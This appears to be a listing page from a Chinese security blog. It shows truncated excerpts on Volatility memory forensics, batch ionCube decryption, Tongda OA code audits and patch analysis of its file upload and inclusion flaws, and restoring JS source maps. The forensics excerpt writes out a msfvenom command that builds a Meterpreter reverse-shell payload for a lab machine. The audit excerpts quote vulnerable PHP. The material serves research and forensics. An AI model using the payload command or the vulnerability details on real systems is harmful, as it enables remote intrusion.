内存取证工具Volatility使用
记录下Volatility使用过程
环境
Parrot *1
Windows 2008*1
先生成个msf马子
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.17.6 LPORT=4444 -a x64 -f exe -o /home/parrot/Desktop/1.exe
拷到Windows2008机器上运行后迁移进程
然后使用dumpit对内存做完整镜像
做好后的镜像大小取决于机器内存的大小，机器内存越大，镜像后的文件越大
拷回parrot，开始分析
分析命令如下
volatility -f /home/parrot/Desktop/WIN-L74K1LLT618-20250823-093248.raw --profile=Win7SP1x64 malfind查找疑似被注入的进程，这里应该先执行volatility -f /home/parrot/Desktop/WIN-L74K1LLT618-20250823-093248.raw imageinfo来确定使用配置文件的
┌─[[email protected] ...
PHP ioncube V10.X解密
背景项目中碰到个用ionCube V10加密的源码，需要解密做审计，记录下踩的坑
文件数量2000多，找了一番网站发现https://easytoyou.eu/可以提供解密服务，
BTW，这个站一次只能上传一个文件，手动点2000多次不说累死也得烦死
过程按照惯例，先注册个号看看有什么功能
好嘛 10欧元30天会员，冲了再看看解密面板
面板变了，上传个加密的文件抓个包看看
解密完成后在页面中回显下载链接，那么就可以写脚本批量跑了。
思路脚本需要实现的功能是遍历所有指定格式的文件，保存获取到的列表，上传解密，下载解密后的文件
直接贴代码
遍历符合格式的文件代码# Load Foldersdef get_all_path(self): if os.path.exists(self.FileList): pass else: postfix = set(['php']) # 设置要记录的文件格式 for maindir, subdir, file_name_list in os.walk(self.dstF ...
审计通达OA时的一些记录
学习审计通达OA时发现的一些有意思的事
全局变量覆盖审计时发现前辈们提到了这个问题，跟了下存在问题的文件
比如存在变量覆盖的文件是pda\vote\list.php，
require_once "pda/auth.php";include_once "inc/conn.php";include_once "inc/utility_all.php";include_once "mobile/api/qyapp.vote.class.php";if ($P == "") { $P = $_COOKIE["PHPSESSID"];}else { $P = $_GET["P"];}
这里包含了inc/conn.php数据库连接文件
继续跟，发现包含了inc/td_config.php
<?phpinclude_once "inc/common.inc.php";$ROOT_PATH ...
域渗透实战
d85b19524ca0a6165d6a5d104b6e7f3540bbe833f7a46aa2c8385f2352a6b78191a33438805dbe118a73272245003888f1c78cbbde20bd8af3c881f883531bc2e0b8b49dbecae215cc2e7e2be5558c3e3429ded056ad1e93de5dd6edb59334dbcd1227be977e5577486286164f1ed34154fe58aa2094c02e2382c7449b1e2e33f05adf63418715a2e50267854edd247d5a9bf572bfdf0ba349d6be8e86180c244fe9b129d4bbd924ad07cad55d3f24e611e259a4a3a086fda56a8b038c170211ab662d634f65192568f9b208562df62c4a0234cfa3a971162996e7276ff8ae88c363bbb56e9b66484bae1ab72ab05832bfb313c052bd5b86b ...
通达OA任意文件上传+任意文件包含分析
通达OA官方于2020-03-13发布了安全更新，修复了任意文件上传（2013、2013adv、2015、2016、2017、V11）和文件包含（V11）漏洞，从官网下到源码解密后，简单看了下
直接看主流的2017、V11产品吧，这个系列产品有全版本的变量覆盖问题
V11、2017任意上传以2017为例
补丁文件路径：2020_A1\2017版\ispirit\im\upload.php
左侧为原始代码，右侧为补丁，可以看到直接将鉴权的文件从else里释放了出来，避免了第5行传入P值导致的权限绕过问题
继续往下看任意文件上传的问题
$TYPE = $_POST["TYPE"];//获取TYPE$DEST_UID = $_POST["DEST_UID"];//获取DEST_UID（接收方ID）$dataBack = array();if (($DEST_UID != "") && !td_verify_ids($ids)) { $dataBack = array("status" ...
还原JS Map文件
做项目时发现一个站点为前后分离的架构，翻了下发现了map文件，采用restore-source-tree还原时报错，记录下解决过程
安装先从git克隆到本地
git clone https://github.com/laysent/restore-source-tree.git
然后进入文件夹
npm install
这里建议挂个代理、VPN，国内很慢
这里在win下会报错
λ npm cinstall npm WARN deprecated [email protected]: � Thanks for using Babel: we recommend using babel-preset-env now: please read https://bab ...
